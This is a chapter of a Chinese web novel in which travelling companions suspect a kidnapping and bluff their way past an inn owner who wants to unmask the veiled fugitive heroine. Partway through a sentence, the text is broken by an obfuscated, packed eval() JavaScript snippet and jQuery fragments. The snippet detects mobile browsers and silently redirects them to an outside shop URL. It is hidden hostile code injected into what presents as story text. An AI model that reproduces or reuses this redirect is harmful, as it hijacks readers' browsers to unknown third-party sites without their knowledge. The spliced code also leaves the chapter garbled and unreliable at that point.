太阳悬在头顶,刚才在树上叽叽喳喳的小鸟已不知去向。
颜卿的情绪也平复了下来。
李裴玉和颜卿一前一后的往回城的方向走。
“李裴玉。”
李裴玉放慢脚步,让颜卿和自己并肩而行。
颜卿深吸了口气道:“你知道县令千金昨日为何哭么?”
李裴玉淡淡地道:“她的丫鬟走失了。”
颜卿吃惊的望向李裴玉:“原来你已经知道了?”
李裴玉点了点头:“昨日你出去后刘大人便和我说了。”
颜卿道:“你不觉得这件事很凑巧么?”
李裴玉抬眸望向远处:“一周之内就发生了两起绑架案,还都被我遇上了,确实很巧。”
虽说南凉官吏怠政,民风日下,盗寇横行,但他没想到会败坏到这个地步。
如果不是这个原因,那么便是有人为了某种目的,急需大量的妙龄少女。
颜卿眼睛一亮:“你也觉得翠翠是被拐走的对吧?”
李裴玉道:“嗯,本来打算到了广陵再查,现在看来对方比我想象的难对付。”
看来李裴玉原本就没打算放过刘三娘,以他的才智一定也想到翠翠的事可能和刘三娘脱不了干系,太好了,只要有他出手,翠翠就一定能找得到。
“只是...”李裴玉忽然垂眸沉思。
颜卿好奇道:“只是什么?”
“我们必须马上启程。”
“为什么?”
“我已经调查过最近三天进城的人员名单。”
额...好厉害,不愧是县尉,他是什么时候调查的?
“名单上并没有叫刘三娘的人,也许她用了化名,但昨天我们去过的那家客栈,确实入住过一个从临川来的中年女人。”
颜卿愈发坚定自己的第六感没错,她就知道那个女人很可疑。
李裴玉接着道:“如果这件事是刘三娘做的,她一定会急着逃走,听她的口音应该是广陵人。”
颜卿道:“她的确说过要去广陵!”
李裴玉道:“所以我们最好在她到广陵之前提前赶到,这样才能解救翠翠,如果这件事不是刘三娘做的,那么人牙子应该还在丰城县内,不用我插手,丰城县令迟早会抓住他。”
好缜密的推理,颜卿已经佩服的无话可说。
......
二人赶到县衙已过了午时,他们婉言谢绝了县令的挽留,颜卿赠给县令千金一盒胭脂,算是作为留宿的谢礼,三人乘上马车继续前行。
马车辚辚,又行了十余日,这日晚上,马车在寻阳郊外一处小客栈前停下。
说是客栈,不如说是一幢民家小院,院门口的竹篱笆旧的已经破了好几个洞,要不是院门口的一块破木板上写着客栈二字,还以为是间废弃的房子。
李裴玉放下车帘对颜卿道:“今日不凑巧,没能在天黑之前进城,我们就在这歇脚吧。”
“喵呜~~~~”不知哪里突然传来一声凄厉的猫叫,不仔细听还以为是谁在哭。
颜卿忽然感觉背后发凉,缩了缩脖子点头道:“好。”
夜风习习,四下里一片漆黑,下了马车后颜卿才发现周围是一片竹林,风打在竹叶上好似阴鸾的笑声。
三人推门进了客栈,见一精瘦的矮个子老头正在柜台前拨算盘。
李裴玉道:“店家,住店。”
矮个子老头抬头扫了一眼道:“麻烦这位姑娘把面纱摘一下。”
颜卿心里咯噔一下,这十多天一路上十分顺利,只要打着李裴玉郡守的名头,不管是进城还是住店,都没有人为难过她,这还是第一次遇到要她摘面纱的。
若是摘了,那她通缉犯的身份岂不是就要暴露了!
“她不能摘。”李裴玉淡淡地道。
矮个子老头眼睛转了转,眼神里满是狡黠:“哎呦,不是我为难你们,实在是现在生意不好做,我这小客栈本来就生意冷清,若是有江湖躲仇家的或是通缉犯住进来,官府的人追究下来,我可担待不起呀!”
他特意加重了通缉犯三个字,听得颜卿起了一身鸡皮疙瘩。
颜卿心跳越来越快,脑袋却越来越迟钝,她在心里吐槽,死脑子快想该怎么办才好。
李裴玉忽然笑了:“店家言重了吧。”
矮个子老头也笑了:“反正各位一看就是良民,何不让这位姑娘把面纱摘了,对咱们双方都好。”
颜卿的手心开始冒冷汗,果然从刚才一下马车就有种不祥的预感。
“算了,我看我们还是换一家店。”大力道。
颜卿向大力投去感激的目光。
三人刚欲转身离开,谁知那矮个子老头跨出几步,拦住了他们的去路:“这方圆几十里只有我这一家客栈,这么晚了,各位是要去哪?”
言外之意是你们谁也别想走了!
三人皆是一惊,他们没想到这店主会来这一套。
难道这店主已看透我的身份了?
颜卿在心里叹了口气,这店主好像是铁了心要查验她的身份。
而且店主不是官吏也不是城中的生意人,所以他根本不会因为李裴玉的身份而畏惧,他不会是为了领赏钱要强行把她留下来,然后去报官吧?看来这次是无论如何也躲不过去了。
李裴玉依旧面不改色,淡定道:“你想怎样?”
矮个子老头忽然高声吆喝:“大彪!二虎!”
只见两个身材壮硕的大汉从二楼冲了下来。
颜卿眼前一黑,想不到这么小一家客栈还雇了壮仆啊。
这二人也果真人如其名,一个彪悍壮硕,一个好斗狠勇如虎,不知大力是不是他们的对手。
店主像是看到援兵到了,本来有点驼的背挺直了几分,忽然向前一步,伸手朝颜卿脸上抓去。
他的手快,但有一只手比他更快,一抓一推,那店主已跌坐在地上。
颜卿还没反应过来,只看到了个残影。
李裴玉已变了脸色。
矮个子老头怒道:“你们究竟是何人?”
两个壮汉攥紧拳头听从店主的指挥,但谁也没有动作。
李裴玉道:“与你何干?”
店主的脸色也变了:“最近匪寇猖獗,她不会是逃犯吧?!”
大堂里的空气已剑拔弩张。
颜卿几乎要惊叫出声。
李裴玉突然大笑道:“她就是个逃犯。”
颜卿:“?”
我谢谢你?
大力:“?”
玉哥脑子没事吧?
店主:“?”
店主从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534059|203765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地上爬起来,后退了几步,颤抖着道:“你你你你你说什么?”
李裴玉重复道:“她就是个逃犯。”
店主尖着嗓子道:“报官...我要去报官!”
李裴玉不知从怀里掏出一块什么东西“啪”的一声扣在柜台上:“用不着报官,我就是官。”
“?”店主一副根本不可能的表情,立刻跑到柜台前,举起木简细细打量。
原来李裴玉拿出来的是海捕令,多半是提前伪造的,这个自然难不倒他。
李裴玉道:“我们奉命捉拿逃犯,押送至广陵,只是这逃犯身份特殊,不能给寻常百姓看到,上面有令,若是泄露此次抓捕行动,格杀勿论。”
那店主颤巍巍的将令牌双手奉上:“原来是县尉大人!小的多有冒犯,还请大人多多海涵!”
李裴玉接过竹简放进袖兜里:“哼,若是你想看她真容也不是不行,但要你陪我们同去广陵一趟,签字画押保证绝不泄密,怎么样?”
那店主擦了擦额上的薄汗:“额...小的不敢,小的不敢,各位大爷要几件房?我这就让小二收拾出来。”
颜卿小心翼翼的深吸了口气,偷偷在长袖下擦了擦手心的冷汗,李裴玉啊李裴玉,可真有你的,理智、冷静、临危不乱,他以前真的只是个小小的县尉么...
......
烛火摇曳,三人围坐在二楼一间客房的桌前,因为说了是官差办案,所以他们便不可能要三间客房,这逃犯身份再特殊,也需有人看守才对。
所以最后三人便只定了两间客房。
颜卿端起桌子上的茶壶,往三只茶杯里倒茶,虽然已脱险,但她的手依然因为紧张而发抖。
房间里的气氛很是怪异,大力和李裴玉互不理睬。
自从上次颜卿在丰城迷路,李裴玉回去之后便一直沉着脸,几乎和大力零交流。
这样下去不是办法,况且上次的事本身就是她的错,他不希望他迁怒到大力身上。
颜卿将一杯茶放在李裴玉面前,又举起一杯茶朝大力的方向移动。
李裴玉忽然开口:“这有我,你先去睡。”
这话是对大力说的,他的目光却投在茶壶上。
“出去打一架也好,何必自己生闷气。”大力道。
果然是个直性子。
颜卿本想缓和气氛,却听到二人要打架,心下一慌,手中的茶杯“啪”的一下跌落在地上。
“抱歉...”颜卿立马弯腰去捡。
正在她的手差一寸触到茶杯碎片时,一双骨节分明的手挡在了她的手下。
“危险,让大力来。”
颜卿抬眸,正对上李裴玉那清澈如水的眸子,那眸中除了警觉、冷静,仿佛还藏着关心,颜卿忽然觉得有点心慌,李裴玉却比她更慌,立刻起身移开了视线。
大力睁大眼睛,用手指着他自己:“?”
李裴玉道:“给你倒的茶碎了,自然是你来收拾。”
大力笑道:“我都什么还没说,就护上了,就算你不说,我也会帮颜姑娘。”
李裴玉道:“我怎么记得上次我出门前,你也是这么说的,可结果呢?要不是我绕路去城东买东西,颜姑娘不知道会遇到什么危险。”
真记仇,都十几天了,他还记的那么清楚啊。